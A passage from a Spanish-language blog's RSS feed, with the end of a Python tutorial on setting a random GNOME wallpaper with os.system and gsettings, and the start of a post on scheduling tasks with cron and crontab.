renderAds);&#xA;        document.addEventListener(&#39;htmx:afterSettle&#39;, renderAds);&#xA;      })();&#xA;    &lt;/script&gt;&#xA;  &#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .ads-panels-sticky {&#xA;    position: sticky;&#xA;    top: 100px;&#xA;    display: flex;&#xA;    flex-direction: column;&#xA;    gap: 16px;&#xA;    z-index: 10;&#xA;  }&#xA;&#xA;  .ad-panel {&#xA;    background: transparent;&#xA;    border-radius: 8px;&#xA;    padding: 16px 36px;&#xA;  }&#xA;&#xA;  .ad-panel:hover {&#xA;    transform: none;&#xA;  }&#xA;&#xA;  .ad-panel-content {&#xA;    display: flex;&#xA;    flex-direction: column;&#xA;    align-items: center;&#xA;    text-align: justify;&#xA;  }&#xA;&#xA;  .ad-book-image {&#xA;    width: 100px;&#xA;    height: auto;&#xA;    border-radius: 6px;&#xA;    margin-bottom: 10px;&#xA;    object-fit: cover;&#xA;  }&#xA;&#xA;  .ad-title {&#xA;    font-size: 0.9rem;&#xA;    font-weight: 600;&#xA;    margin: 0 0 6px 0;&#xA;    color: var(--secondary-text);&#xA;    line-height: 1.3;&#xA;  }&#xA;&#xA;  .ad-description {&#xA;    font-size: 0.75rem;&#xA;    color: var(--secondary-text);&#xA;    margin: 0 0 10px 0;&#xA;    line-height: 1.4;&#xA;    display: -webkit-box;&#xA;    -webkit-line-clamp: 2;&#xA;    -webkit-box-orient: vertical;&#xA;    overflow: hidden;&#xA;  }&#xA;&#xA;  .ad-link-button {&#xA;    display: inline-block;&#xA;    padding: 8px 12px;&#xA;    background: #ffa41c;&#xA;    color: #111;&#xA;    text-decoration: none;&#xA;    border-radius: 4px;&#xA;    font-size: 0.8rem;&#xA;    font-weight: 500;&#xA;    transition: background 0.2s ease, opacity 0.2s ease;&#xA;    width: 100%;&#xA;    box-sizing: border-box;&#xA;    text-align: center;&#xA;  }&#xA;&#xA;  .ad-link-button:hover {&#xA;    background: #f08804;&#xA;    opacity: 1;&#xA;  }&#xA;&#xA;  @media (max-width: 768px) {&#xA;    .ads-panels-sticky,&#xA;    .ad-panel,&#xA;    #ads-panels-container {&#xA;      display: none;&#xA;      visibility: hidden;&#xA;      opacity: 0;&#xA;      z-index:1;&#xA;    }&#xA;  }&#xA;&#xA;  @media (max-width: 1024px) {&#xA;    .ads-panels-sticky {&#xA;      position: static;&#xA;      flex-direction: row;&#xA;      flex-wrap: wrap;&#xA;      justify-content: center;&#xA;    }&#xA;&#xA;    .ad-panel {&#xA;      max-width: 200px;&#xA;      flex: 0 0 auto;&#xA;    }&#xA;  }&#xA;&#xA;  @media (max-width: 600px) {&#xA;    .ads-panels-sticky {&#xA;      flex-direction: column;&#xA;    }&#xA;&#xA;    .ad-panel {&#xA;      max-width: 100%;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8672022193&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8672022193&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .google-ads-container-8672022193{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;    .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;p&gt;Con &lt;em&gt;tuple(allowed_image_formats)&lt;/em&gt; simplemente estamos transformando nuestra lista de formatos aceptados en una tupla.&lt;/p&gt;&#xA;&lt;p&gt;El método &lt;em&gt;image.endswith()&lt;/em&gt; recibe un argumento, que puede ser una cadena de texto o una tupla de cadenas de texto, y nos devolverá &lt;em&gt;True&lt;/em&gt; or &lt;em&gt;False&lt;/em&gt; dependiendo de si el objeto &lt;em&gt;image&lt;/em&gt; termina la cadena de texto con alguno de los elementos de la tupla.&lt;/p&gt;&#xA;&lt;p&gt;La linea completa es una &lt;em&gt;list comprehension&lt;/em&gt; que nos dice: &amp;ldquo;crea una lista con cada imagen en &lt;em&gt;os.listdir()&lt;/em&gt; siempre y cuando el archivo termine con cualquiera de los siguientes formatos en esta tupla&amp;rdquo;. Este paso es importante pues excluirá todos aquellos archivos que no sean imágenes de nuestra lista.&lt;/p&gt;&#xA;&lt;p&gt;Ahora, la siguiente linea también puede parecer algo compleja&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;random_wallpaper &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; os&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;path&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;join(os&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;getcwd(), random&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;choice(list_of_images))&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;El método &lt;em&gt;os.path.join()&lt;/em&gt; se encarga de unir rutas en nuestro sistema operativo y es totalmente agnóstico del sistema operativo en el cual nos encontremos. Uniremos la ruta del directorio actual con el nombre de una imagen, para generar la ruta completa de una imagen.&lt;/p&gt;&#xA;&lt;p&gt;&lt;em&gt;os.getcwd()&lt;/em&gt; nos devuelve el directorio actual.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-1124666671&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;1124666671&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .google-ads-container-1124666671{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;        .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h2 id=&#34;seleccionar-una-imagen-al-azar-con-randomchoice&#34;&gt;Seleccionar una imagen al azar con random.choice()&lt;/h2&gt;&#xA;&lt;p&gt;Obtendremos aleatoriamente la imagen por medio del método &lt;em&gt;random.choice()&lt;/em&gt;, que selecciona una imagen al azar de todas las que obtuvimos con el list comprehension&lt;/p&gt;&#xA;&lt;p&gt;Mira este ejemplo:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;test_list &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; [&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;img_1.jpg&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;img_2.jpg&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;img_3.png&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;img_4.png&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;img_5.jpeg&amp;#34;&lt;/span&gt;]&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;random&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;choice(test_list)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;img_4.png&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;random&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;choice(test_list)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;img_1.jpg&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;random&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;choice(test_list)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;img_1.jpg&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-5272667386&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;5272667386&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-5272667386{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;p&gt;Y por último&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;os&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;system(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;gsettings set org.gnome.desktop.background picture-uri &amp;#39;file://&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;{}&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;format(random_wallpaper))&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;El método &lt;em&gt;os.system()&lt;/em&gt; nos permite ejecutar un comando en nuestra terminal.&lt;/p&gt;&#xA;&lt;p&gt;Ejecutaremos &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://people.gnome.org/~pmkovar/system-admin-guide/background.html&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;un comando que le dirá a &lt;em&gt;gnome&lt;/em&gt;&lt;/a&gt;&#xA; que fije un imagen como wallpaper, le pasaremos la ruta a esa imagen después de &lt;em&gt;picture-uri&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Ojo aquí, cada entorno de escritorio va a tener una manera de fijar un wallpaper, si quisiéramos usar otro entorno de escritorio bastará con leer la documentación y reemplazar el comando dentro del método &lt;em&gt;os.system()&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;Una vez que terminamos, podemos ejecutar nuestro script de la siguiente manera. Asegúrate de estar en &lt;em&gt;home&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8811585000&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8811585000&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-8811585000{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;python &lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;change_wallpaper_randomly&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;py&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Si todo salió correctamente tu wallpaper habrá cambiado por una imagen al azar dentro de la carpeta que especificaste. Puedes correr el script las veces que quieras y verás como tu wallpaper cambiará una y otra vez con cada ejecución.&lt;/p&gt;&#xA;&lt;p&gt;Pero tener que correr este comando cada vez que queremos cambiar de wallpaper es bastante engorroso, ¿no sería genial poder programarlo para que se ejecutara cada cierto tiempo?&lt;/p&gt;&#xA;&lt;p&gt;Si ya leiste mi entrada sobre &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/linux/programa-tareas-periodicas-facil-en-linux-con-cron-y-crontab/&#34;&gt;crontab y cron&lt;/a&gt;&#xA; ya tienes una idea de como conseguirlo, pasa directo a para &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/python/como-programar-un-cambiador-de-wallpaper-automatico-en-python/&#34;&gt;programar la ejecución periódica de este script usando &lt;em&gt;crontab&lt;/em&gt;&lt;/a&gt;&#xA;.&lt;/p&gt;&#xA;</content:encoded>
      <summary>&lt;p&gt;En esta entrada vamos a crear un cambiador de wallpaper automático, aleatorio y minimalista para GNU/Linux usando Python. Sin funciones extras, súper ligero y totalmente casero, su única función será seleccionar una imagen aleatoriamente y fijarla como wallpaper. Explicaré la función de cada linea en el código.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Actualizado:&lt;/strong&gt; Para Gnome 49 y Python 3.12&lt;/p&gt;&#xA;&lt;p&gt;Si no estas familiarizado con la sintaxis de Python, lee sobre uno de los mejores libros para adentrarte en Python en mi entrada sobre &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/python/el-mejor-libro-de-python-inmersion-en-python/&#34;&gt;el libro Inmersion en Python&lt;/a&gt;&#xA;.&lt;/p&gt;</summary>
    </item>
    
    <item>
      <title>Programa tareas periódicas fácil en Linux con Cron y Crontab</title>
      <link>https://coffeebytes.dev/es/linux/programa-tareas-periodicas-facil-en-linux-con-cron-y-crontab/</link>
      <pubDate>Sat, 01 Feb 2020 00:00:00 +0000</pubDate>
      <guid>https://coffeebytes.dev/es/linux/programa-tareas-periodicas-facil-en-linux-con-cron-y-crontab/</guid>
      
      <category>linux</category>
      
      
      
      
      
      <content:encoded>&lt;p&gt;Muchas veces queremos ejecutar un script o un comando cada cierto tiempo, por ejemplo cuando queremos realizar backups periódicos de una base de datos, enviar a tus suscriptores un correo electrónico de recordatorio, o quizás eliminar archivos de cache cada cierta cantidad de tiempo. Cron, en conjunción con Crontab te permiten correr una tarea cada cierto tiempo.&lt;/p&gt;&#xA;&lt;p&gt;Una manera bastante ingenua sería crear un script y utilizar el método &lt;em&gt;time.sleep()&lt;/em&gt; de Python, o su equivalente en otro lenguaje, para retrasar su ejecución por el tiempo deseado. Sin embargo no necesitamos reinventar la rueda; alguien ya se encargó de esta tarea en GNU/Linux.&lt;/p&gt;&#xA;&lt;blockquote&#xA;    class=&#34;instagram-media&#34;&#xA;    data-instgrm-captioned&#xA;    data-instgrm-permalink=&#34;https://www.instagram.com/p/CXPOrE5PGfd&#34;&#xA;    data-instgrm-version=&#34;14&#34;&#xA;    style=&#34;&#xA;      background: #fff;&#xA;      border: 0;&#xA;      border-radius: 3px;&#xA;      box-shadow: 0 0 1px 0 rgba(0, 0, 0, 0.5), 0 1px 10px 0 rgba(0, 0, 0, 0.15);&#xA;      margin: 1px;&#xA;      max-width: 540px;&#xA;      min-width: 326px;&#xA;      padding: 0;&#xA;      width: 99.375%;&#xA;      width: -webkit-calc(100% - 2px);&#xA;      width: calc(100% - 2px);&#xA;    &#34;&#xA;  &gt;&#xA;    &lt;div style=&#34;padding: 16px&#34;&gt;&#xA;      &lt;a&#xA;        href=&#34;https://www.instagram.com/p/CXPOrE5PGfd&#34;&#xA;        style=&#34;&#xA;          background: #ffffff;&#xA;          line-height: 0;&#xA;          padding: 0 0;&#xA;          text-align: center;&#xA;          text-decoration: none;&#xA;          width: 100%;&#xA;        &#34;&#xA;        target=&#34;_blank&#34;&#xA;      &gt;&#xA;        &lt;div style=&#34;display: flex; flex-direction: row; align-items: center&#34;&gt;&#xA;          &lt;div&#xA;            style=&#34;&#xA;              background-color: #f4f4f4;&#xA;              border-radius: 50%;&#xA;              flex-grow: 0;&#xA;              height: 40px;&#xA;              margin-right: 14px;&#xA;              width: 40px;&#xA;            &#34;&#xA;          &gt;&lt;/div&gt;&#xA;          &lt;div&#xA;            style=&#34;&#xA;              display: flex;&#xA;              flex-direction: column;&#xA;              flex-grow: 1;&#xA;              justify-content: center;&#xA;            &#34;&#xA;          &gt;&#xA;            &lt;div&#xA;              style=&#34;&#xA;                background-color: #f4f4f4;&#xA;                border-radius: 4px;&#xA;                flex-grow: 0;&#xA;                height: 14px;&#xA;                margin-bottom: 6px;&#xA;                width: 100px;&#xA;              &#34;&#xA;            &gt;&lt;/div&gt;&#xA;            &lt;div&#xA;              style=&#34;&#xA;                background-color: #f4f4f4;&#xA;                border-radius: 4px;&#xA;                flex-grow: 0;&#xA;                height: 14px;&#xA;                width: 60px;&#xA;              &#34;&#xA;            &gt;&lt;/div&gt;&#xA;          &lt;/div&gt;&#xA;        &lt;/div&gt;&#xA;        &lt;div style=&#34;padding: 19% 0&#34;&gt;&lt;/div&gt;&#xA;        &lt;div&#xA;          style=&#34;display: block; height: 50px; margin: 0 auto 12px; width: 50px&#34;&#xA;        &gt;&#xA;          &lt;svg&#xA;            width=&#34;50px&#34;&#xA;            height=&#34;50px&#34;&#xA;            viewBox=&#34;0 0 60 60&#34;&#xA;            version=&#34;1.1&#34;&#xA;            xmlns=&#34;https://www.w3.org/2000/svg&#34;&#xA;            xmlns:xlink=&#34;https://www.w3.org/1999/xlink&#34;&#xA;          &gt;&#xA;            &lt;g stroke=&#34;none&#34; stroke-width=&#34;1&#34; fill=&#34;none&#34; fill-rule=&#34;evenodd&#34;&gt;&#xA;              &lt;g transform=&#34;translate(-511.000000, -20.000000)&#34; fill=&#34;#000000&#34;&gt;&#xA;                &lt;g&gt;&#xA;                  &lt;path&#xA;                    d=&#34;M556.869,30.41 C554.814,30.41 553.148,32.076 553.148,34.131 C553.148,36.186 554.814,37.852 556.869,37.852 C558.924,37.852 560.59,36.186 560.59,34.131 C560.59,32.076 558.924,30.41 556.869,30.41 M541,60.657 C535.114,60.657 530.342,55.887 530.342,50 C530.342,44.114 535.114,39.342 541,39.342 C546.887,39.342 551.658,44.114 551.658,50 C551.658,55.887 546.887,60.657 541,60.657 M541,33.886 C532.1,33.886 524.886,41.1 524.886,50 C524.886,58.899 532.1,66.113 541,66.113 C549.9,66.113 557.115,58.899 557.115,50 C557.115,41.1 549.9,33.886 541,33.886 M565.378,62.101 C565.244,65.022 564.756,66.606 564.346,67.663 C563.803,69.06 563.154,70.057 562.106,71.106 C561.058,72.155 560.06,72.803 558.662,73.347 C557.607,73.757 556.021,74.244 553.102,74.378 C549.944,74.521 548.997,74.552 541,74.552 C533.003,74.552 532.056,74.521 528.898,74.378 C525.979,74.244 524.393,73.757 523.338,73.347 C521.94,72.803 520.942,72.155 519.894,71.106 C518.846,70.057 518.197,69.06 517.654,67.663 C517.244,66.606 516.755,65.022 516.623,62.101 C516.479,58.943 516.448,57.996 516.448,50 C516.448,42.003 516.479,41.056 516.623,37.899 C516.755,34.978 517.244,33.391 517.654,32.338 C518.197,30.938 518.846,29.942 519.894,28.894 C520.942,27.846 521.94,27.196 523.338,26.654 C524.393,26.244 525.979,25.756 528.898,25.623 C532.057,25.479 533.004,25.448 541,25.448 C548.997,25.448 549.943,25.479 553.102,25.623 C556.021,25.756 557.607,26.244 558.662,26.654 C560.06,27.196 561.058,27.846 562.106,28.894 C563.154,29.942 563.803,30.938 564.346,32.338 C564.756,33.391 565.244,34.978 565.378,37.899 C565.522,41.056 565.552,42.003 565.552,50 C565.552,57.996 565.522,58.943 565.378,62.101 M570.82,37.631 C570.674,34.438 570.167,32.258 569.425,30.349 C568.659,28.377 567.633,26.702 565.965,25.035 C564.297,23.368 562.623,22.342 560.652,21.575 C558.743,20.834 556.562,20.326 553.369,20.18 C550.169,20.033 549.148,20 541,20 C532.853,20 531.831,20.033 528.631,20.18 C525.438,20.326 523.257,20.834 521.349,21.575 C519.376,22.342 517.703,23.368 516.035,25.035 C514.368,26.702 513.342,28.377 512.574,30.349 C511.834,32.258 511.326,34.438 511.181,37.631 C511.035,40.831 511,41.851 511,50 C511,58.147 511.035,59.17 511.181,62.369 C511.326,65.562 511.834,67.743 512.574,69.651 C513.342,71.625 514.368,73.296 516.035,74.965 C517.703,76.634 519.376,77.658 521.349,78.425 C523.257,79.167 525.438,79.673 528.631,79.82 C531.831,79.965 532.853,80.001 541,80.001 C549.148,80.001 550.169,79.965 553.369,79.82 C556.562,79.673 558.743,79.167 560.652,78.425 C562.623,77.658 564.297,76.634 565.965,74.965 C567.633,73.296 568.659,71.625 569.425,69.651 C570.167,67.743 570.674,65.562 570.82,62.369 C570.966,59.17 571,58.147 571,50 C571,41.851 570.966,40.831 570.82,37.631&#34;&#xA;                  &gt;&lt;/path&gt;&#xA;                &lt;/g&gt;&#xA;              &lt;/g&gt;&#xA;            &lt;/g&gt;&#xA;          &lt;/svg&gt;&#xA;        &lt;/div&gt;&#xA;        &lt;div style=&#34;padding-top: 8px&#34;&gt;&#xA;          &lt;div&#xA;            style=&#34;&#xA;              color: #3897f0;&#xA;              font-family: Arial, sans-serif;&#xA;              font-size: 14px;&#xA;              font-style: normal;&#xA;              font-weight: 550;&#xA;              line-height: 18px;&#xA;            &#34;&#xA;          &gt;&#xA;            View this post on Instagram&#xA;          &lt;/div&gt;&#xA;        &lt;/div&gt;&#xA;        &lt;div style=&#34;padding: 12.5% 0&#34;&gt;&lt;/div&gt;&#xA;        &lt;div&#xA;          style=&#34;&#xA;            display: flex;&#xA;            flex-direction: row;&#xA;            margin-bottom: 14px;&#xA;            align-items: center;&#xA;          &#34;&#xA;        &gt;&#xA;          &lt;div&gt;&#xA;            &lt;div&#xA;              style=&#34;&#xA;                background-color: #f4f4f4;&#xA;                border-radius: 50%;&#xA;                height: 12.5px;&#xA;                width: 12.5px;&#xA;                transform: translateX(0px) translateY(7px);&#xA;              &#34;&#xA;            &gt;&lt;/div&gt;&#xA;            &lt;div&#xA;              style=&#34;&#xA;                background-color: #f4f4f4;&#xA;                height: 12.5px;&#xA;                transform: rotate(-45deg) translateX(3px) translateY(1px);&#xA;                width: 12.5px;&#xA;                flex-grow: 0;&#xA;                margin-right: 14px;&#xA;                margin-left: 2px;&#xA;              &#34;&#xA;            &gt;&lt;/div&gt;&#xA;            &lt;div&#xA;              style=&#34;&#xA;                background-color: #f4f4f4;&#xA;                border-radius: 50%;&#xA;                height: 12.5px;&#xA;                width: 12.5px;&#xA;                transform: translateX(9px) translateY(-18px);&#xA;              &#34;&#xA;            &gt;&lt;/div&gt;&#xA;          &lt;/div&gt;&#xA;          &lt;div style=&#34;margin-left: 8px&#34;&gt;&#xA;            &lt;div&#xA;              style=&#34;&#xA;                background-color: #f4f4f4;&#xA;                border-radius: 50%;&#xA;                flex-grow: 0;&#xA;                height: 20px;&#xA;                width: 20px;&#xA;              &#34;&#xA;            &gt;&lt;/div&gt;&#xA;            &lt;div&#xA;              style=&#34;&#xA;                width: 0;&#xA;                height: 0;&#xA;                border-top: 2px solid transparent;&#xA;                border-left: 6px solid #f4f4f4;&#xA;                border-bottom: 2px solid transparent;&#xA;                transform: translateX(16px) translateY(-4px) rotate(30deg);&#xA;              &#34;&#xA;            &gt;&lt;/div&gt;&#xA;          &lt;/div&gt;&#xA;          &lt;div style=&#34;margin-left: auto&#34;&gt;&#xA;            &lt;div&#xA;              style=&#34;&#xA;                width: 0px;&#xA;                border-top: 8px solid #f4f4f4;&#xA;                border-right: 8px solid transparent;&#xA;                transform: translateY(16px);&#xA;              &#34;&#xA;            &gt;&lt;/div&gt;&#xA;            &lt;div&#xA;              style=&#34;&#xA;                background-color: #f4f4f4;&#xA;                flex-grow: 0;&#xA;                height: 12px;&#xA;                width: 16px;&#xA;                transform: translateY(-4px);&#xA;              &#34;&#xA;            &gt;&lt;/div&gt;&#xA;            &lt;div&#xA;              style=&#34;&#xA;                width: 0;&#xA;                height: 0;&#xA;                border-top: 8px solid #f4f4f4;&#xA;                border-left: 8px solid transparent;&#xA;                transform: translateY(-4px) translateX(8px);&#xA;              &#34;&#xA;            &gt;&lt;/div&gt;&#xA;          &lt;/div&gt;&#xA;        &lt;/div&gt;&#xA;        &lt;div&#xA;          style=&#34;&#xA;            display: flex;&#xA;            flex-direction: column;&#xA;            flex-grow: 1;&#xA;            justify-content: center;&#xA;            margin-bottom: 24px;&#xA;          &#34;&#xA;        &gt;&#xA;          &lt;div&#xA;            style=&#34;&#xA;              background-color: #f4f4f4;&#xA;              border-radius: 4px;&#xA;              flex-grow: 0;&#xA;              height: 14px;&#xA;              margin-bottom: 6px;&#xA;              width: 224px;&#xA;            &#34;&#xA;          &gt;&lt;/div&gt;&#xA;          &lt;div&#xA;            style=&#34;&#xA;              background-color: #f4f4f4;&#xA;              border-radius: 4px;&#xA;              flex-grow: 0;&#xA;              height: 14px;&#xA;              width: 144px;&#xA;            &#34;&#xA;          &gt;&lt;/div&gt;&lt;/div&#xA;      &gt;&lt;/a&gt;&#xA;    &lt;/div&gt;&#xA;  &lt;/blockquote&gt;&lt;script async src=&#34;https://www.instagram.com/embed.js&#34;&gt;&lt;/script&gt;&#xA;&lt;h2 id=&#34;el-daemon-cron-y-comandos-basicos&#34;&gt;El daemon cron y comandos básicos&lt;/h2&gt;&#xA;&lt;p&gt;Cron es un daemon, disponible en muchas distribuciones de GNU/Linux, que lee un archivo localizado en la ruta &lt;em&gt;/var/spool/cron/crontabs/tu_usuario&lt;/em&gt; y ejecuta las tareas que estén especificadas ahí, siempre y cuando su horario especificado de ejecución sea el adecuado.&lt;/p&gt;&#xA;&lt;p&gt;Para revisar el contenido del archivo que será revisado por el daemon Cron usaremos el comando &lt;em&gt;crontab&lt;/em&gt; con la opción &lt;em&gt;-l&lt;/em&gt; a continuación&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; 